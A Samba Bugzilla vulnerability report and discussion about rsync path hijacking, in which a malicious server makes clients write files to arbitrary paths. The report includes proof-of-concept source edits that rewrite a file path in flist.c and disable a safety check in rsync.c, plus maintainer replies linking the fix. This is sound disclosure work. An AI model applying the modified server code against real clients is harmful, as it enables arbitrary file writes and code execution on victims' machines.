Bug 10936 - Rsync path hijacking attack vulnerability
Summary: Rsync path hijacking attack vulnerability
Status: RESOLVED FIXED
Alias: None
Product: rsync
Classification: Unclassified
Component: core (show other bugs)
Version: 3.1.1
Hardware: All All
: P5 critical (vote)
Target Milestone: ---
Assignee: Wayne Davison
QA Contact: Rsync QA Contact
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2014-11-14 06:51 UTC by gaojianfeng
Modified: 2014-12-01 07:16 UTC (History)
0 users

See Also:


Attachments
Rsync path hijacking attack vulnerability.pdf (Detailed documentation) (199.47 KB, application/pdf)
2014-11-14 06:51 UTC, gaojianfeng
no flags Details

Note You need to log in before you can comment on or make changes to this bug.
Description gaojianfeng 2014-11-14 06:51:40 UTC
Created attachment 10433 [details]
Rsync  path  hijacking  attack  vulnerability.pdf (Detailed documentation)

Hi all:
    In  newest version rsync,Baidu Security Team found a vulnerability which is similar to wget ftp CVE-2014-4877 (http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4877).When a clientuses parameter -a to synchronize files of the server-side(default), for example:
rsync -avzP  127.0.0.1::share   /tmp/share
Rsync  recursive synchronous all files,An attacker can hijack the file path  by modifying the code of the server-side,allows remote  servers to write to arbitrary files, and consequently execute arbitrary code .

Vulnerability  Details :
First I shared in the Rsync folder to write the following documents
[root@pentest rsync]# ls -lh
total 8.0K
-rw-r--r-- 1 root root    2 Oct 31 03:16 1.txt
drwxr-xr-x 2 root root 4.0K Oct 31 05:17 truedir
[root@pentest rsync]# cd  truedir/
[root@pentest truedir]# ls
pwned
[root@pentest truedir]# cat   pwned
rsync test
[root@pentest truedir]#
Next I modify the server to send the file code,in the process of synchronizing,the path of file 
"pwned" can be blocked and changed into any path .
file: flist.c    line:394

static void send_file_entry(int f, const char *fname, struct file_struct *file,
#ifdef SUPPORT_LINKS
			    const char *symlink_name, int symlink_len,
#endif
			    int ndx, int first_ndx)
{
  if(strcmp(fname,"turedir/pwned") == 0){
  	
  	fname="/root/pwned.test"; //Arbitrarily path 
 
  	
  }
Then, verification occurs in the server-side and says “received request to transfer non-regular file 
 /root/pwned.test 7 [sender]”,But as an attacker, the code of the server-side can be arbitrarily 
controlled,Shielding the following code.
file:rsync.c   line:405​

/*
	if (iflags & ITEM_TRANSFER) {
		int i = ndx - cur_flist->ndx_start;
		if (i < 0 || !S_ISREG(cur_flist->files[i]->mode)) {
			rprintf(FERROR,
				"received request to transfer non-regular file: %d [%s]\n",
				ndx, who_am_i());
			exit_cleanup(RERR_PROTOCOL);
		}
	}
	*/

The file "pwned" will be downloaded into forged path(/root/pwned.test).
Comment 1 roland 2014-11-14 23:24:50 UTC
in other words - a malicious rsync server can force a client to create any file in any path, as long as the client can write to that path ? 

indeed, interesting find - and a security bug then.
Comment 2 gaojianfeng 2014-11-17 03:01:22 UTC
(In reply to roland from comment #1)
yes
Comment 3 Wayne Davison 2014-11-27 19:29:54 UTC
In your test, you didn't use 3.1.1 on the client side.  This was fixed in that release:

ABORTING due to unsafe pathname from sender: /root/pwned.test
Comment 4 roland 2014-11-27 20:01:55 UTC
that fix is this two commits, correct ?

https://git.samba.org/?p=rsync.git;a=commit;h=371242e4e8150d4f9cc74cdf2d75d8250535175e

https://git.samba.org/?p=rsync.git;a=commit;
h=4cad402ea8a91031f86c53961d78bb7f4f174790
Comment 5 Wayne Davison 2014-11-27 20:10:38 UTC
(In reply to roland from comment #4)
Yes, those are the commits for this bug.
Comment 6 gaojianfeng 2014-12-01 07:16:16 UTC
(In reply to Wayne Davison from comment #3)
yes !  In newest version rsync(3.1.1),directly modify the file path into absolute path is
not hijack succeed due to the security checks,but using symbolic links still can bypass
security checks and spoofing client.
A new bug I submitted :https://bugzilla.samba.org/show_bug.cgi?id=10977